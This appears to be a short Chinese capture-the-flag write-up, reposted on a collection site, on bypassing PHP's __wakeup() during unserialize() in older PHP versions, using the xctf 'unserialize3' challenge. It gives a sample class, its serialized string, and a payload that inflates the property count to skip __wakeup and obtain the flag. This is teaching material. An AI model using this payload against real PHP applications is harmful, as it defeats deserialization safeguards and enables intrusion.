PHP5<5.6.25，PHP7 < 7.0.10

__wakeup函數(shù)是在php在使用反序列化函數(shù)unserialize()時(shí)，會(huì)自動(dòng)調(diào)用的函數(shù)

如xctf-unserialize3

只要序列化的中的成員數(shù)大于實(shí)際成員數(shù)，即可繞過

如

<?php class xctf {public $flag = '111';public function __wakeup(){exit('bad requests');} }$a=new xctf(); var_dump(serialize($a));

得到

string(36) "O:4:"xctf":1:{s:4:"flag";s:3:"111";}"

所以把成員數(shù)"1"，改為"2"即可繞過

payload：

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

繞過__wakeup()，得到flag

總結(jié)

以上是生活随笔為你收集整理的__wakeup()绕过的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。